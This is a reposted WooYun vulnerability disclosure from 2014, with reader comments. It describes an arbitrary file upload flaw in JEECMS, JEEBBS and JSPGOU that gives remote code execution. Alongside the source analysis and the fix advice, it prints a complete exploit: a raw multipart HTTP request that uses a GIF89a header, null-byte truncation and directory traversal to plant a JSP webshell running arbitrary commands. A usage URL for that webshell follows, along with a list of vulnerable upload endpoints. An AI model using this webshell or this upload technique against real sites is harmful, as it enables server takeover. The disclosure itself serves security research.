JEECMSJEEBBSJSPGOU 前台getshell(高危)

admin 2015年6月29日21:50:14评论2,296 views字数 252阅读0分50秒阅读模式
摘要

2014-10-04: 细节已通知厂商并且等待厂商处理中
2014-10-09: 厂商已经确认,细节仅向厂商公开
2014-10-12: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-03: 细节向核心白帽子及相关领域专家公开
2014-12-13: 细节向普通白帽子公开
2014-12-23: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

漏洞概要 关注数(85) 关注此漏洞

缺陷编号: WooYun-2014-78307

漏洞标题: JEECMS|JEEBBS|JSPGOU 前台getshell(高危) JEECMSJEEBBSJSPGOU 前台getshell(高危)

相关厂商: JEECMS

漏洞作者: loopx9JEECMSJEEBBSJSPGOU 前台getshell(高危)

提交时间: 2014-10-04 18:15

公开时间: 2015-01-02 18:16

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 任意文件上传 文件上传安全 任意文件上传 java代码审计

19人收藏


漏洞详情

披露状态:

2014-10-04: 细节已通知厂商并且等待厂商处理中
2014-10-09: 厂商已经确认,细节仅向厂商公开
2014-10-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-03: 细节向核心白帽子及相关领域专家公开
2014-12-13: 细节向普通白帽子公开
2014-12-23: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

简要描述:

国庆大礼包.

详细说明:

国庆闲来无事,下载jeecms源码来看了下,没想到捡了个漏。

0x1 漏洞分析

com/jeecms/cms/action/member/ImageUploadAct.java,上传请求URL:/member/o_upload_image.jspx

code 区域
...
@RequestMapping("/member/o_upload_image.jspx")
public String execute(
String filename,
Integer uploadNum,
Boolean mark,
@RequestParam(value = "uploadFile", required = false) MultipartFile file,
HttpServletRequest request, ModelMap model) {
WebCoreErrors errors = validate(filename, file, request); //函数validate检查后缀以及文件头
CmsSite site = CmsUtils.getSite(request);
CmsUser user = CmsUtils.getUser(request);
FrontUtils.frontData(request, model, site);
MemberConfig mcfg = site.getConfig().getMemberConfig();
if (!mcfg.isMemberOn()) {
return FrontUtils.showMessage(request, model, "member.memberClose");
}
if (user == null) {
return FrontUtils.showLogin(request, model, site);
}
if (errors.hasErrors()) {
model.addAttribute(ERROR, errors.getErrors().get(0));
return FrontUtils.getTplPath(request, site.getSolutionPath(),
TPLDIR_MEMBER, RESULT_PAGE);
}
MarkConfig conf = site.getConfig().getMarkConfig();
if (mark == null) {
mark = conf.getOn();
}

String origName = file.getOriginalFilename();
String ext = FilenameUtils.getExtension(origName).toLowerCase(
Locale.ENGLISH);
try {
String fileUrl;
if (site.getConfig().getUploadToDb()) {
....好像是文件存进数据库,这段跳过
}
} else if (site.getUploadFtp() != null) {
.....ftp上传相关,跳过
}
} else {
String ctx = request.getContextPath();
if (!StringUtils.isBlank(filename)) { //filename为表单传进,可控
filename = filename.substring(ctx.length());
if (mark) { //mark 为表单传进,可控
File tempFile = mark(file, conf);
fileUrl = fileRepository.storeByFilename(filename,tempFile);
//调用storeByFilename存储文件,filename可控,第一想到的就是00截断了
tempFile.delete();
} else { //mark 不用赋值也可以,都调用了fileRepository.storeByFilename
fileUrl = fileRepository
.storeByFilename(filename, file);
}
} else { //如果filename为空,则调用fileRepository.storeByExt ,后缀保留,文件重命名
if (mark) {
File tempFile = mark(file, conf);
fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, tempFile);
tempFile.delete();
} else {
fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, file);
}
// 加上部署路径
fileUrl = ctx + fileUrl;
}
}
model.addAttribute("uploadPath", fileUrl);
model.addAttribute("uploadNum", uploadNum);
} catch (IllegalStateException e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
} catch (IOException e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
} catch (Exception e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
}
return FrontUtils.getTplPath(request, site.getSolutionPath(),
TPLDIR_MEMBER, RESULT_PAGE);
}
...

0x02 绕过检查:

文件头可使用GIF89a绕过,后缀检查部分:

看代码使用**.**.**.**.FilenameUtils.getExtension获取后缀,跟进getExtension方法,发现调用indexOfExtension

code 区域
public static int indexOfExtension(String filename)
{
if (filename == null) {
return -1;
}
int extensionPos = filename.lastIndexOf('.'); //可以看出获取后缀的方式是截取最后一个点号的部分,那么如果filename为1.jsp%00.jpg ,就能bypass后缀检查了.
int lastSeparator = indexOfLastSeparator(filename);
return lastSeparator > extensionPos ? -1 : extensionPos;
}

fileRepository.storeByFilename最终调用**.**.**.**.FileUtils.copyFile导致截断,与php copy函数类似,截断貌似发生在系统层面

同样存在问题的还有一处:com/jeecms/cms/action/member/ContributeAct.java,上传请求URL:/member/o_upload_media.jspx

JEECMSJEEBBSJSPGOU 前台getshell(高危)

此处可利用截断上传任意文件.

JSPGOU也存在相同问题:

JEECMSJEEBBSJSPGOU 前台getshell(高危)

漏洞证明:

(以**.**.**.**为例)

tips:由于jsp、jspx后缀都被web.xml中的配置过滤了,即便上传jsp也不能解析,官网使用tomcat容器,项目部署在webapps/ROOT下

所以只能利用上传跳到上一级目录,也就是webapps下,这样jsp才能成功解析,上传过程会自动创建目录,方便快捷.

注册用户,上传头像抓包

code 区域
POST /member/o_upload_image.jspx HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 937
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmHBUvQPGQdo2rN3
Referer: http://**.**.**.**/member/contribute_add.jspx
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,ko;q=0.6
Cookie: JSESSIONID=DD2D9328CB2B7B282A1B8EB8DDD82C03; JSESSIONID=D504FA6E4E72497B7BAF703873EFC1F5; clientlanguage=zh_CN; CNZZDATA1097297=cnzz_eid%3D1834197461-1412397667-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1412404613

------WebKitFormBoundaryPmHBUvQPGQdo2rN3
Content-Disposition: form-data; name="uploadFile"; filename="1.jpg"
Content-Type: image/jpeg

GIF89a<FORM METHOD=GET ACTION="">
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="**.**.**.**.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>


------WebKitFormBoundaryPmHBUvQPGQdo2rN3
Content-Disposition: form-data; name="filename"

../.test/p.jsp .jpg //跳出项目目录,空格为0x00
------WebKitFormBoundaryPmHBUvQPGQdo2rN3--

JEECMSJEEBBSJSPGOU 前台getshell(高危)

code 区域
http://**.**.**.**/.test/p.jsp?cmd=id
http://**.**.**.**/.test/p.jsp(PermGen space不够了)

JEECMSJEEBBSJSPGOU 前台getshell(高危)

PS:除此之外,还可以上传web.xml覆盖,或是上传class覆盖,因为可能需要重启web容器,暂不采用.各位大神还有什么猥琐的利用方式,烦请告之.

总结:

jeecms、jeebbs :

/member/o_upload_media.jspx (低版本的没有)

/member/o_upload_image.jspx

后台:

/common/o_upload_image.do

/content/o_upload_media.do

/plug/o_upload.do

涉及文件:

com/jeecms/cms/action/member/ContributeAct.java

com/jeecms/cms/action/member/ImageUploadAct.java

com/jeecms/cms/action/admin/ImageUploadAct.java

com/jeecms/cms/action/admin/main/ContentAct.java

com/jeecms/cms/action/admin/assist/PlugAct.java

jeegou:

/member/common/o_upload_image.jspx

下载旧版本的jeecms源码看,发现com/jeecms/cms/action/member/ImageUploadAct.java很早就有了,意味着这个洞有一段时间了.

jeecms在国内算是比较流行的java建站系统,政府机构、学校、企业,用户众多,此次漏洞该算是通杀的了,只要开放用户注册,基本就沦陷了.

修复方案:

检查所有涉及上传的操作,禁止拼接路径.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-09 10:36

厂商回复:

感谢对jeecms系列软件提出的bug,我们会以最快的速度修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-10-04 18:25 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 看人生万般无奈,看世间千姿百态...)

    0

    大礼包...

  2. 2014-10-04 19:09 | MuZhU0 ( 路人 | Rank:6 漏洞数:4 )

    0

    前排

  3. 2014-10-04 19:16 | scanf ( 核心白帽子 | Rank:1694 漏洞数:204 | 。)

    0

    礼包

  4. 2014-10-04 20:41 | U神 ( 核心白帽子 | Rank:1375 漏洞数:94 | 乌云核心菜鸟,此号处于联盟托管中....)

    0

    这么牛B?

  5. 2014-10-04 22:15 | 郭斯特 ( 普通白帽子 | Rank:185 漏洞数:70 | GhostWin)

    0

    我擦。。屌

  6. 2014-10-04 22:22 | scanf ( 核心白帽子 | Rank:1694 漏洞数:204 | 。)

    0

    还重新编辑了!!

  7. 2014-10-04 22:43 | 天朝城管 ( 普通白帽子 | Rank:136 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    0

    前排卖瓜子!

  8. 2014-10-08 20:38 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:272 | 一个立志要把乌云集市变成零食店的男人)

    0

    坐等忽略

  9. 2014-10-08 22:23 | loopx9 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:827 漏洞数:76 | ..)

    0

    @贫道来自河北 都发邮件给他们了,看来是忽略的节奏

  10. 2014-10-08 23:10 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:272 | 一个立志要把乌云集市变成零食店的男人)

    0

    @loopx9 这尼玛的厂商,上次发给他们邮件,居然还威胁我要我小心点

  11. 2014-10-09 00:16 | 郭斯特 ( 普通白帽子 | Rank:185 漏洞数:70 | GhostWin)

    0

    @贫道来自河北 那你得小心点了

  12. 2014-10-09 11:34 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    0

  13. 2014-10-09 12:20 | loopx9 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:827 漏洞数:76 | ..)

    0

    诶,这不算通用么。。。

  14. 2014-10-24 09:46 | ′ 雨。 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:1332 漏洞数:196 | Only Code Never Lie To Me.)

    0

    @loopx9 我发现你的洞都没选择通用吧。。 是自己选择的。

  15. 2014-10-24 09:47 | ′ 雨。 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:1332 漏洞数:196 | Only Code Never Lie To Me.)

    0

    @loopx9 这个选了, 之前的一些没选。

  16. 2014-10-24 09:49 | loopx9 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:827 漏洞数:76 | ..)

    0

    @′ 雨。 @′king 是你小号?

  17. 2014-10-24 10:17 | ′ 雨。 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:1332 漏洞数:196 | Only Code Never Lie To Me.)

    0

    @loopx9

  18. 2015-03-10 09:42 | YiYang ( 实习白帽子 | Rank:53 漏洞数:19 | 一锹、两锹、三锹。。。)

    0

    @loopx9 按这个操作 返回提示 alert('Unexpected block type 69!')是补洞了吗

  19. 2015-09-05 15:44 | icysun ( 实习白帽子 | Rank:31 漏洞数:6 | 求围观)

    0

    @loopx9 我用eclipse debug 什么都对 就是到最后进copy方法 Invalid file path 就报着个异常了,对比了几个版本,楼主这种,,臣妾做不到。 对了 如果 在filename传入时 我手动干预 点击 vlues 获取下,他倒是被截断了,求指点。

  20. 2015-09-05 19:06 | loopx9 JEECMSJEEBBSJSPGOU 前台getshell(高危) ( 普通白帽子 | Rank:827 漏洞数:76 | ..)

    0

    @icysun jdk7以后版本已经不能null截断了,路径包含/0直接抛出异常。测试截断的话用1.6版本试试。 (可查看java.io.File类 isInvalid 方法)

  21. 2015-09-05 21:15 | icysun ( 实习白帽子 | Rank:31 漏洞数:6 | 求围观)

    0

    @loopx9 谢大神,就是此原因,我用的1.8。 不过eclipse debug有个很有意思的地方误导我很久。就是 变量截取窗口,手动戳filename下,1.8也会截断,不戳不灵,挺有意思。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin